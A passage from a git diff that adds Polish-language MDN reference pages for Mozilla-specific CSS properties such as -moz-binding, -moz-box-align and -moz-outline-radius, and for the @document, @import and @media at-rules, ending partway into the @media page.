CSS + - Non-standard +translation_of: Archive/Web/CSS/-moz-binding +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>-moz-binding</code> jest używany przez aplikacje bazujące na Mozilli, by dołączyć wiązanie <a href="/pl/XBL" title="pl/XBL">XBL</a> do elementu DOM.</p> + +<ul> + <li>Wartość początkowa: <code>none | {{ mediawiki.external(',') }}* <uri> | inherit</code></li> + <li>Dotyczy: wszystkich elementów (oprócz zawartości generowanej lub pseudoelementów)</li> + <li>Dziedziczony: nie</li> + <li>Procenty: niedostępne</li> + <li>Wartość wyliczona: jako określone</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">-moz-binding: <em>uri</em> | none +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>uri</dt> + <dd>Identyfikator URI dla wiązania XBL (włączając w to identyfikator fragmentaryczny).</dd> + <dt>none</dt> + <dd>Żadne wiązanie XBL nie jest stosowane do elementu.</dd> +</dl> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<pre>.exampleone { + -moz-binding: url("http://www.mozilla.org/xbl/htmlBindings.xml#checkbox"); +} +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p><a href="/pl/XBL/Dokumentacja_XBL_1.0/Binding_Attachment_and_Detachment" title="pl/XBL/Dokumentacja_XBL_1.0/Binding_Attachment_and_Detachment">Dokumentacja XBL: Binding Attachment and Detachment</a></p> + +<p><a href="/pl/Kurs_XUL/Wprowadzenie_do_XBL" title="pl/Kurs_XUL/Wprowadzenie_do_XBL">Kurs XUL:Wprowadzenie do XBL</a></p> diff --git a/files/pl/web/css/-moz-border-bottom-colors/index.html b/files/pl/web/css/-moz-border-bottom-colors/index.html new file mode 100644 index 0000000000..62e5f28015 --- /dev/null +++ b/files/pl/web/css/-moz-border-bottom-colors/index.html @@ -0,0 +1,56 @@ +--- +title: '-moz-border-bottom-colors' +slug: Web/CSS/-moz-border-bottom-colors +tags: + - CSS + - Non-standard +translation_of: Archive/Web/CSS/-moz-border-bottom-colors +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach opartych na Mozilli <code>-moz-border-bottom-colors</code> ustawia kolory dolnego obramowania. Powinna być ustawiona lista kolorów. Jeśli element ma obramowanie, które jest szersze niż pojedynczy piksel, każda linia pikseli używa następnego koloru określonego w tej własności, z zewnątrz do wewnątrz. Eliminuje to potrzebę zagnieżdżonych boksów. Jeśli obramowanie jest szersze niż liczba określonej w tej własności kolorów, pozostała część obramowania jest w kolorze określonym najbliżej środka.</p> + +<ul> + <li>Wartość początkowa: nie stosuje się</li> + <li>Dotyczy: wszystkich elementów</li> + <li>Dziedziczony: nie</li> +</ul> + +<p>Obecność <code>-moz-border-bottom-colors</code> oddziela kod rysujący obramowanie, który był zaprojektowany do rysowania obramowań elementów interfejsu użytkownika, ale nie wspiera wielu innych własności obramowania.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">-moz-border-bottom-colors: [<color> | transparent,]* <color> | transparent +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><color></dt> + <dd>Określa kolor linii pikseli dolnego obramowania</dd> + <dt>transparent</dt> + <dd>Linia pikseli nie ma własnego koloru, w zamian pokazuje kolor elementu pod spodem</dd> +</dl> + +<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2> + +<ul> + <li><a href="pl/CSS/-moz-border-left-colors">-moz-border-left-colors</a> ustawia kolory lewego obramowania</li> + <li><a href="pl/CSS/-moz-border-right-colors">-moz-border-right-colors</a> ustawia kolory prawego obramowania</li> + <li><a href="pl/CSS/-moz-border-top-colors">-moz-border-top-colors</a> ustawia kolory górnego obramowania</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>hbox.example { + border: 5px solid #000000; + + /* Kolor dolnego obramowania będzie czerwony, zielony, niebieski i biały + zaczynając od zewnątrz */ + -moz-border-bottom-colors: #FF0000 #00FF00 #0000FF #FFFFFF; +} +</pre> + +<div class="noinclude"> </div> diff --git a/files/pl/web/css/-moz-border-left-colors/index.html b/files/pl/web/css/-moz-border-left-colors/index.html new file mode 100644 index 0000000000..303bdfa747 --- /dev/null +++ b/files/pl/web/css/-moz-border-left-colors/index.html @@ -0,0 +1,15 @@ +--- +title: '-moz-border-left-colors' +slug: Web/CSS/-moz-border-left-colors +tags: + - CSS + - Non-standard +translation_of: Archive/Web/CSS/-moz-border-left-colors +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach opartych na Mozilli <code>-moz-border-left-colors</code> ustawia kolory obramowania lewej krawędzi.</p> + +<p>Zobacz więcej informacji we własności <a href="pl/CSS/-moz-border-bottom-colors">-moz-border-bottom-colors</a>.</p> diff --git a/files/pl/web/css/-moz-box-align/index.html b/files/pl/web/css/-moz-box-align/index.html new file mode 100644 index 0000000000..1d6c77d415 --- /dev/null +++ b/files/pl/web/css/-moz-box-align/index.html @@ -0,0 +1,77 @@ +--- +title: '-moz-box-align' +slug: Web/CSS/-moz-box-align +tags: + - CSS + - Non-standard +translation_of: Web/CSS/box-align +--- +<p>{{ CSSRef() }}</p> + +<p>{{warning("This is a property of the original CSS Flexible Box Layout Module standard which is being replaced by a new standard.")}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach opartych na Mozilli <code>-moz-box-align</code> określa jak element XUL <code>box</code> (pudełko) wyrównuje swoją zawartość w poprzek (prostopadle) do kierunku swojego układu. Efekt tego jest widoczny tylko, jeśli w pudełku jest dodatkowa przestrzeń.</p> + +<p>Kierunek układu zależy od orientacji elementu: poziomej lub pionowej.</p> + +<ul> + <li>Wartość początkowa: stretch</li> + <li>Dotyczy: elementy z własnością <a href="pl/CSS/display">display</a> o wartości -moz-box lub -moz-inline-box</li> + <li>Dziedziczony: nie</li> + <li>Procenty: nie dotyczą</li> + <li>Wartość wyliczona: jako określone</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">-moz-box-align: start | center | end | baseline | stretch +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>start</dt> + <dd>Pudełko wyrównuje zawartość od początku, opuszczając dodatkową przestrzeń na końcu.</dd> + <dt>center</dt> + <dd>Pudełko wyrównuje zawartość do środka, dzieląc pustą przestrzeń odpowiednio między początek i koniec.</dd> + <dt>end</dt> + <dd>Pudełko wyrównuje zawartość do końca, opuszczając dodatkową przestrzeń na początku</dd> + <dt>baseline</dt> + <dd>Pudełko wyrównuje linie bazowe zawartości (ustawiając tekst w kolejności). Ma zastosowanie tylko, gdy orientacja pudełka jest pozioma.</dd> + <dt>stretch</dt> + <dd>Pudełko rozciąga zawartość, zatem w pudełku nie ma dodatkowej przestrzeni.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>hbox.example { + -moz-box-align: end; /* przenosi zawartość do dołu */ +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Krawędź pudełka określona jako<em>start</em> dla celu wyrównania zależy od orientacji pudełka</p> + +<table style="text-align: center;"> + <tbody> + <tr> + <td style="text-align: right;"><strong>Pozioma</strong></td> + <td>górna</td> + </tr> + <tr> + <td style="text-align: right;"><strong>Pionowa</strong></td> + <td>lewa</td> + </tr> + </tbody> +</table> + +<p>Krawędź przeciwna do początkowej jest określana jako<em>end</em></p> + +<p>Jeśli wyrównanie jest ustawione przy użyciu atrybutu align elementu, wtedy styl jest ignorowany.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p><a href="pl/CSS/-moz-box-orient">CSS:-moz-box-orient</a>, <a href="pl/CSS/-moz-box-pack">CSS:-moz-box-pack</a></p> diff --git a/files/pl/web/css/-moz-box-flex/index.html b/files/pl/web/css/-moz-box-flex/index.html new file mode 100644 index 0000000000..bd4f192a92 --- /dev/null +++ b/files/pl/web/css/-moz-box-flex/index.html @@ -0,0 +1,64 @@ +--- +title: '-moz-box-flex' +slug: Web/CSS/-moz-box-flex +tags: + - CSS + - Non-standard +translation_of: Web/CSS/box-flex +--- +<p>{{ CSSRef() }}</p> + +<p>{{ warning("This is a property for controlling parts of the XUL box model. It does not match either the old CSS Flexible Box Layout Module drafts for '<code>box-flex</code>' (which were based on this property) or the behavior of '<code>-webkit-box-flex</code>' (which is based on those drafts).") }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach opartych na Mozilli <code>-moz-box-flex</code> określa jak pudełko powiększa się, by wypełnić pudełko, które je zawiera, w kierunku układu zawierającego pudełka.</p> + +<ul> + <li>Wartość początkowa: 0</li> + <li>Dotyczy: elementy, które są bezpośrednim dzieckiem elementu z własnością CSS <a href="pl/CSS/display">display</a> o wartości -moz-box lub -moz-inline-box.</li> + <li>Dziedziczony: nie</li> + <li>Procenty: nie dotyczą</li> + <li>Wartość wyliczona: jako określone</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">-moz-box-flex:<em>liczba</em> +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>0</dt> + <dd>Pudełko nie powiększa się.</dd> + <dt>> 0</dt> + <dd>Pudełko rozszerza się, by wypełnić proporcjonalną część dostępnej przestrzeni.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>hbox.example { + -moz-box-flex: 1; /* take up some more space */ +} +</pre> + +<h2 id="Uwagi" name="Uwagi">Uwagi</h2> + +<p>Zawierające pudełko przydziela dodatkową dostępną przestrzeń proporcjonalnie do wartości rozciągania każdego elementu zawartości.</p> + +<p>Elementy zawartości, które mają rozciąganie ustawione na zero, nie powiększają się.</p> + +<p>Jeśli tylko jeden element zawartości ma niezerowe rozciąganie, wtedy powiększa się on do wypełnienia dostępnej wolnej przestrzeni.</p> + +<p>Elementy zawartości, które mają takie samo rozciąganie, powiększają się o tą samą bezwzględną liczbę.</p> + +<p>Jeśli wartość rozciąganie jest ustawiona przy użyciu atrybutu flex w elemencie, wtedy styl jest ignorowany.</p> + +<p>Aby zrobić element XUL w zawierającym pudełku takich samych rozmiarów, ustaw atrybut equalsize zawierającego pudełka na wartość always. Ten atrybut nie ma odpowiadającej własności CSS.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p><a href="pl/CSS/-moz-box-orient">CSS:-moz-box-orient</a>, <a href="pl/CSS/-moz-box-pack">CSS:-moz-box-pack</a></p> + +<div class="noinclude"> </div> diff --git a/files/pl/web/css/-moz-box-orient/index.html b/files/pl/web/css/-moz-box-orient/index.html new file mode 100644 index 0000000000..5effdac347 --- /dev/null +++ b/files/pl/web/css/-moz-box-orient/index.html @@ -0,0 +1,54 @@ +--- +title: '-moz-box-orient' +slug: Web/CSS/-moz-box-orient +tags: + - CSS + - Non-standard +translation_of: Web/CSS/box-orient +--- +<p>{{ CSSRef() }}</p> + +<p>{{ warning("This is a property of the original CSS Flexible Box Layout Module draft, and has been replaced in newer drafts.") }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach opartych na Mozilli <code>-moz-box-orient</code> określa, czy pudełko rozkłada swoją zawartość poziomo czy pionowo.</p> + +<p>Np. elementy XUL box i hbox domyślnie rozkładają swoją zawartość poziomo, zaś elementy XUL vbox domyślnie rozkładają swoją zawartość pionowo.</p> + +<ul> + <li>Wartość początkowa: horizontal</li> + <li>Dotyczy: elementy z własnością CSS <a href="pl/CSS/display">display</a> o wartości -moz-box lub-moz-inline-box</li> + <li>Dziedziczony: nie</li> + <li>Procenty: nie dotyczą</li> + <li>Wartość wyliczona: jako określone</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">-moz-box-orient: horizontal | vertical +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>horizontal</dt> + <dd>Pudełko układa swoją zawartość w poziomie.</dd> + <dt>vertical</dt> + <dd>Pudełko układa swoją zawartość w pionie.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>hbox.example { + -moz-box-orient: vertical; /* zmiana orientacji */ +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Jeśli orientacja jest ustawiona w elemencie przy użyciu atrybutu orient, wtedy styl jest ignorowany.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p><a href="pl/CSS/direction">CSS:direction</a>, <a href="pl/CSS/-moz-box-direction">CSS:-moz-box-direction</a></p> diff --git a/files/pl/web/css/-moz-box-pack/index.html b/files/pl/web/css/-moz-box-pack/index.html new file mode 100644 index 0000000000..edbbe60856 --- /dev/null +++ b/files/pl/web/css/-moz-box-pack/index.html @@ -0,0 +1,82 @@ +--- +title: '-moz-box-pack' +slug: Web/CSS/-moz-box-pack +tags: + - CSS + - Non-standard +translation_of: Web/CSS/box-pack +--- +<p>{{ CSSRef() }}</p> + +<p>{{warning("This is a property of the original CSS Flexible Box Layout Module standard which is being replaced by a new standard.")}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach opartych na Mozilli <code>-moz-box-pack</code> określa jak pudełko wpakowuje swoją zawartość w kierunku swojego układu. Efekt tego jest widoczny tylko wtedy, gdy w pudełku jest dodatkowa wolna przestrzeń.</p> + +<p>Kierunek układu zależy od orientacji elementu: poziomej lub pionowej.</p> + +<ul> + <li>Wartość początkowa: start</li> + <li>Dotyczy: elementy z własnością CSS <a href="pl/CSS/display">display</a> o wartości -moz-box lub -moz-inline-box</li> + <li>Dziedziczony: nie</li> + <li>Procenty: nie dotyczą</li> + <li>Wartość wyliczona: jako określone</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">-moz-box-pack: start | center | end | justify +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>start</dt> + <dd>Pudełko wpakowuje zawartość od początku, zostawiając dodatkową wolną przestrzeń na końcu.</dd> + <dt>center</dt> + <dd>Pudełko wpakowuje zawartość w środku, dzieląc dodatkową wolną przestrzeń pomiędzy początek i koniec.</dd> + <dt>end</dt> + <dd>Pudełko wpakowuje zawartość na końcu, zostawiając dodatkową wolną przestrzeń na początku.</dd> + <dt>justify</dt> + <dd> ?</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>hbox.example { + -moz-box-pack: end; /* przesuwa zawartość na prawo */ +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Krawędź pudełka, określona jako<em>start</em> dla celów wpakowywania, zależy od orientacji i kierunku pudełka.</p> + +<table style="text-align: center;"> + <tbody> + <tr> + <td> </td> + <td><strong>Normalna</strong></td> + <td><strong>Odwrócona</strong></td> + </tr> + <tr> + <td style="text-align: right;"><strong>Poziomo</strong></td> + <td>lewa</td> + <td>prawa</td> + </tr> + <tr> + <td style="text-align: right;"><strong>Pionowo</strong></td> + <td>góra</td> + <td>dół</td> + </tr> + </tbody> +</table> + +<p>Krawędź przeciwna do początkowej jest określana jako<em>end</em>.</p> + +<p>Jeśli wpakowywanie jest ustawione w atrybucie pack elementu, wtedy styl jest ignorowany.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p><code><a href="pl/CSS/-moz-box-orient">CSS:-moz-box-orient</a>, <a href="pl/CSS/-moz-box-direction">CSS:-moz-box-direction</a>, <a href="pl/CSS/-moz-box-align">CSS:-moz-box-align</a></code></p> diff --git a/files/pl/web/css/-moz-image-region/index.html b/files/pl/web/css/-moz-image-region/index.html new file mode 100644 index 0000000000..8b8315df3c --- /dev/null +++ b/files/pl/web/css/-moz-image-region/index.html @@ -0,0 +1,41 @@ +--- +title: '-moz-image-region' +slug: Web/CSS/-moz-image-region +tags: + - CSS + - Non-standard +translation_of: Web/CSS/-moz-image-region +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Dla określonych elementów i pseudoelementów XUL, które używają obrazka z własności {{ Cssxref("list-style-image") }}, ta własność określa obszar obrazka, który jest używany w miejsce całego obrazka. Pozwala to elementowi używać różnych fragmentów tego samego obrazka w celu ulepszenia wykonania.</p> + +<p>Składnia jest podobna do własności {{ Cssxref("clip") }}. Wszystkie cztery wartości są określane względem górnego lewego rogu obrazka.</p> + +<ul> + <li>Wartość początkowa <code>auto</code></li> + <li>Dotyczy: element XUL {{ XULElem("image") }} i pseudoelementy {{ Cssxref(":-moz-tree-image") }}, {{ Cssxref(":-moz-tree-twisty") }} oraz {{ Cssxref(":-moz-tree-checkbox") }}</li> + <li>Dziedziczony: nie</li> + <li>Procenty: nie dotyczą</li> + <li>Wartość wyliczona: Dla wartości <code>rect()</code> prostokąt składający się z czterech wyliczonych wartości; w innym przypadku jako określone.</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">-moz-image-region: rect(<em>top</em>, <em>right</em>, <em>bottom</em>, <em>left</em>); +</pre> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>#example-button { + /* display only the 4x4 area from the top left of this image */ + list-style-image: url("chrome://example/skin/example.png"); + -moz-image-region: rect(0px, 4px, 4px, 0px); +} +#example-button:hover { + /* use the 4x4 area to the right of the first for the hovered button */ + -moz-image-region: rect(0px, 8px, 4px, 4px); +} +</pre> diff --git a/files/pl/web/css/-moz-outline-color/index.html b/files/pl/web/css/-moz-outline-color/index.html new file mode 100644 index 0000000000..bded69c35c --- /dev/null +++ b/files/pl/web/css/-moz-outline-color/index.html @@ -0,0 +1,12 @@ +--- +title: '-moz-outline-color' +slug: Web/CSS/-moz-outline-color +tags: + - CSS + - 'CSS:Dokumentacje' + - 'CSS:Rozszerzenia_Mozilli' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/outline-color +--- +<p>d</p> diff --git a/files/pl/web/css/-moz-outline-radius-bottomleft/index.html b/files/pl/web/css/-moz-outline-radius-bottomleft/index.html new file mode 100644 index 0000000000..fd55bfdfef --- /dev/null +++ b/files/pl/web/css/-moz-outline-radius-bottomleft/index.html @@ -0,0 +1,17 @@ +--- +title: '-moz-outline-radius-bottomleft' +slug: Web/CSS/-moz-outline-radius-bottomleft +tags: + - CSS + - Non-standard +translation_of: Web/CSS/-moz-outline-radius-bottomleft +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach Mozilli <code>-moz-outline-radius-bottomleft</code> ustawia zaokrąglenie dolnego lewego rogu konturu.</p> + +<p>Zobacz więcej informacji we własności <a href="pl/CSS/-moz-outline-radius">-moz-outline-radius</a>.</p> + +<div class="noinclude"> </div> diff --git a/files/pl/web/css/-moz-outline-radius-bottomright/index.html b/files/pl/web/css/-moz-outline-radius-bottomright/index.html new file mode 100644 index 0000000000..2ac8105365 --- /dev/null +++ b/files/pl/web/css/-moz-outline-radius-bottomright/index.html @@ -0,0 +1,15 @@ +--- +title: '-moz-outline-radius-bottomright' +slug: Web/CSS/-moz-outline-radius-bottomright +tags: + - CSS + - Non-standard +translation_of: Web/CSS/-moz-outline-radius-bottomright +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach Mozilli <code>-moz-outline-radius-bottomright</code> ustawia zaokrąglenie dolnego prawego rogu konturu.</p> + +<p>Zobacz więcej informacji we własności <a href="pl/CSS/-moz-outline-radius">-moz-outline-radius</a>.</p> diff --git a/files/pl/web/css/-moz-outline-radius-topleft/index.html b/files/pl/web/css/-moz-outline-radius-topleft/index.html new file mode 100644 index 0000000000..695c0fa28f --- /dev/null +++ b/files/pl/web/css/-moz-outline-radius-topleft/index.html @@ -0,0 +1,15 @@ +--- +title: '-moz-outline-radius-topleft' +slug: Web/CSS/-moz-outline-radius-topleft +tags: + - CSS + - Non-standard +translation_of: Web/CSS/-moz-outline-radius-topleft +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach Mozilli <code>-moz-outline-radius-topleft</code> ustawia zaokrąglenie górnego lewego rogu konturu.</p> + +<p>Zobacz więcej informacji we własności <a href="pl/CSS/-moz-outline-radius">-moz-outline-radius</a>.</p> diff --git a/files/pl/web/css/-moz-outline-radius/index.html b/files/pl/web/css/-moz-outline-radius/index.html new file mode 100644 index 0000000000..8fc9754922 --- /dev/null +++ b/files/pl/web/css/-moz-outline-radius/index.html @@ -0,0 +1,71 @@ +--- +title: '-moz-outline-radius' +slug: Web/CSS/-moz-outline-radius +tags: + - CSS + - Non-standard +translation_of: Web/CSS/-moz-outline-radius +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach Mozilli <code>-moz-outline-radius</code> może być używane do nadania konturowi zaokrąglonych rogów. Kontur jest linią rysowaną wokół elementu, na zewnątrz krawędzi obramowania w celu wyróżnienia elementu.</p> + +<ul> + <li>Wartość początkowa: 0</li> + <li>Dotyczy: wszystkie elementy</li> + <li>Dziedziczony: nie</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">-moz-outline-radius:<em><outline-radius>{1,4}</em> | inherit ; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<p><code><em><outline-radius></em></code> reprezentuje jedną w wartości:</p> + +<dl> + <dt><length> </dt> + <dd>długość</dd> + <dt><percentage> </dt> + <dd>procenty, względem szerokości pudełka</dd> +</dl> + +<p>Zatem używane są 4 wartości w porządku górny lewy, górny prawy, dolny prawy i dolny lewy. Jeśli podane są mniej niż 4 wartości, lista wartości jest powtarzana do uzupełnienia pozostałych wartości.</p> + +<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2> + +<ul> + <li><a href="pl/CSS/-moz-outline">outline</a> ustawia kolor, styl i szerokość konturu.</li> + <li><a href="pl/CSS/-moz-outline-color">outline-color</a> ustawi kolor konturu.</li> + <li><a href="pl/CSS/-moz-outline-offset">outline-offset</a> odsuwa kontur od elementu.</li> + <li><a href="pl/CSS/-moz-outline-radius-bottomleft">-moz-outline-radius-bottomleft</a> ustawia zaokrąglenie dolnego lewego rogu.</li> + <li><a href="pl/CSS/-moz-outline-radius-bottomright">-moz-outline-radius-bottomright</a> ustawia zaokrąglenie dolnego prawego rogu.</li> + <li><a href="pl/CSS/-moz-outline-radius-topleft">-moz-outline-radius-topleft</a> ustawia zaokrąglenie górnego lewego rogu.</li> + <li><a href="pl/CSS/-moz-outline-radius-topright">-moz-outline-radius-topright</a> ustawia zaokrąglenie górnego prawego rogu.</li> + <li><a href="pl/CSS/-moz-outline-style">outline-style</a> ustawia styl konturu.</li> + <li><a href="pl/CSS/-moz-outline-width">outline-width</a> ustawia szerokość konturu.</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>hbox.example { + -moz-outline: #000000 solid 10px; + width: 500px; + height: 500px; + /* kontur wygnie się w kształt litery 'D' */ + -moz-outline-radius: 10px 200px 200px 10px; +} +</pre> + +<h2 id="Znane_b.C5.82.C4.99dy" name="Znane_b.C5.82.C4.99dy">Znane błędy</h2> + +<p>Te błędy są takie same jak w <a href="pl/CSS/-moz-border-radius">border-radius</a>.</p> + +<ul> + <li>Obrazki tła wychodzą poza zaokrąglone obramowania {{ Bug(24998) }}</li> + <li>Zaokrąglone obramowania wspierają jedynie wartość <code>solid</code> dla <a href="pl/CSS/border-style">border-style</a>. {{ Bug(24998) }}</li> +</ul> diff --git a/files/pl/web/css/@document/index.html b/files/pl/web/css/@document/index.html new file mode 100644 index 0000000000..75889861b3 --- /dev/null +++ b/files/pl/web/css/@document/index.html @@ -0,0 +1,46 @@ +--- +title: '@document' +slug: Web/CSS/@document +tags: + - CSS + - CSS At-rule +translation_of: Web/CSS/@document +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Reguła <code>@-moz-document</code> jest regułą @ ograniczającą reguły zawartych w sobie stylów bazując na adresie URL dokumentu. Jest stworzona głównie dla stylów użytkownika.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p>Możesz tego użyć w swoim pliku <a class="external" href="http://www.mozilla.org/support/firefox/edit#content">userContent.css</a>:</p> + +<pre>@document url(http://www.w3.org/), + url-prefix(http://www.w3.org/Style/), + domain(mozilla.org) +{ + /* Reguły CSS dotyczą tutaj: + + Strony "http://www.w3.org/". + + Strony, której URL rozpoczyna się "http://www.w3.org/Style/" + + Każdej strony, dla której URL domeny zawiera "mozilla.org" lub kończy się + ".mozilla.org" + */ + + /* zrobienie powyższych stron potwornymi */ + body { color: purple; background: yellow; } +}</pre> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://lists.w3.org/Archives/Public/www-style/2004Aug/0135">Reguły stylów użytkownika dotyczące stron</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<p>Dostępne od Mozilli 1.8 / <a href="pl/Firefox_1.5">Firefox 1.5</a>.</p> + +<div class="noinclude"> </div> diff --git a/files/pl/web/css/@import/index.html b/files/pl/web/css/@import/index.html new file mode 100644 index 0000000000..3ed94ea5d7 --- /dev/null +++ b/files/pl/web/css/@import/index.html @@ -0,0 +1,34 @@ +--- +title: '@import' +slug: Web/CSS/@import +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/@import +--- +<p>{{ CSSRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>@import</code> pozwala użytkownikom importować reguły stylów z innych arkuszy stylów.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">@import "<i>url</i>"; +@import "<i>url</i>"<i>media1</i>,<i>media2</i>,<i>...</i>; +@import url("<i>url</i>"); +@import url("<i>url</i>")<i>media1</i>; +</pre> +<h3 id="Notatki" name="Notatki">Notatki</h3> +<p>W związku z tym, że program użytkownika może pominąć wyszukiwanie zasobów dla niewspieranych typów mediów, autorzy mogą określić reguły <code>@import</code> zależne od mediów. Te warunkowe importowanie określa się przy użyciu oddzielonych przecinkami <a href="pl/CSS/@media#Media_types">typów mediów</a> po URI. W przypadku braku jakiegokolwiek typu mediów import jest bezwarunkowy. Określenie <code>all</code> dla medium przynosi ten sam efekt.</p> +<p> </p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<pre class="eval">@import url("fineprint.css") print; +@import url("bluish.css") projection, tv; +</pre> +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/cascade.html#at-import">CSS 2.1</a></li> +</ul> +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> +<p>{{ Cssxref("@media") }}, {{ Cssxref("@font-face") }}</p> +<p>{{ languages( { "en": "en/CSS/@import", "fr": "fr/CSS/@import" } ) }}</p> diff --git a/files/pl/web/css/@media/index.html b/files/pl/web/css/@media/index.html new file mode 100644 index 0000000000..f1f74e6374 --- /dev/null +++ b/files/pl/web/css/@media/index.html @@ -0,0 +1,193 @@ +--- +title: '@media' +slug: Web/CSS/@media +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/@media +--- +<p> {{ CSSRef() }} +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><code>@media</code> określa typ docelowych mediów (oddzielonych przecinkami) dla zestawu reguł 